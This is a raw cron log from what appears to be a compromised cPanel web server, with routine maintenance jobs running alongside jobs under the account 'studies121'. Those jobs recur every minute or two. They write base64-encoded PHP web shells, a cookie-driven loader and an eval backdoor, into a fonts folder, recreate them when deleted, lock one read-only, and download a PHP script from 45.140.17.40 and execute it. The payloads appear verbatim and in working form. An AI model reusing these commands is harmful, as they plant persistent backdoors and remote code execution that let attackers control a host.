Aug 30 07:16:01 ip-184-168-122-23 CROND[2567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:16:01 ip-184-168-122-23 CROND[2568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:16:01 ip-184-168-122-23 CROND[2569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:16:01 ip-184-168-122-23 CROND[2571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:16:01 ip-184-168-122-23 CROND[2573]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 07:17:01 ip-184-168-122-23 CROND[2657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:17:01 ip-184-168-122-23 CROND[2659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:17:01 ip-184-168-122-23 CROND[2660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:17:01 ip-184-168-122-23 CROND[2661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:18:01 ip-184-168-122-23 CROND[2750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:18:01 ip-184-168-122-23 CROND[2749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:18:01 ip-184-168-122-23 CROND[2751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:18:01 ip-184-168-122-23 CROND[2754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:18:01 ip-184-168-122-23 CROND[2756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:19:01 ip-184-168-122-23 CROND[2926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:19:01 ip-184-168-122-23 CROND[2928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:19:01 ip-184-168-122-23 CROND[2929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:19:01 ip-184-168-122-23 CROND[2931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:20:01 ip-184-168-122-23 CROND[3018]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:20:01 ip-184-168-122-23 CROND[3019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:20:01 ip-184-168-122-23 CROND[3024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:20:01 ip-184-168-122-23 CROND[3025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:20:01 ip-184-168-122-23 CROND[3026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:20:01 ip-184-168-122-23 CROND[3027]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 07:20:01 ip-184-168-122-23 CROND[3023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:20:01 ip-184-168-122-23 CROND[3028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:20:01 ip-184-168-122-23 CROND[3029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:21:01 ip-184-168-122-23 CROND[3140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:21:01 ip-184-168-122-23 CROND[3143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:21:01 ip-184-168-122-23 CROND[3142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:21:01 ip-184-168-122-23 CROND[3144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:22:01 ip-184-168-122-23 CROND[3256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:22:01 ip-184-168-122-23 CROND[3260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:22:01 ip-184-168-122-23 CROND[3259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:22:01 ip-184-168-122-23 CROND[3261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:22:01 ip-184-168-122-23 CROND[3258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:23:01 ip-184-168-122-23 CROND[3344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:23:01 ip-184-168-122-23 CROND[3347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:23:01 ip-184-168-122-23 CROND[3348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:23:01 ip-184-168-122-23 CROND[3350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:24:01 ip-184-168-122-23 CROND[3437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:24:01 ip-184-168-122-23 CROND[3439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:24:01 ip-184-168-122-23 CROND[3443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:24:01 ip-184-168-122-23 CROND[3442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:24:01 ip-184-168-122-23 CROND[3444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:25:02 ip-184-168-122-23 CROND[3542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:25:02 ip-184-168-122-23 CROND[3545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:25:02 ip-184-168-122-23 CROND[3543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:25:02 ip-184-168-122-23 CROND[3546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:25:02 ip-184-168-122-23 CROND[3548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:25:02 ip-184-168-122-23 CROND[3547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:26:02 ip-184-168-122-23 CROND[3646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:26:02 ip-184-168-122-23 CROND[3648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:26:02 ip-184-168-122-23 CROND[3650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:26:02 ip-184-168-122-23 CROND[3649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:26:02 ip-184-168-122-23 CROND[3651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:27:01 ip-184-168-122-23 CROND[3741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:27:01 ip-184-168-122-23 CROND[3744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:27:01 ip-184-168-122-23 CROND[3743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:27:01 ip-184-168-122-23 CROND[3745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:28:01 ip-184-168-122-23 CROND[3909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:28:01 ip-184-168-122-23 CROND[3911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
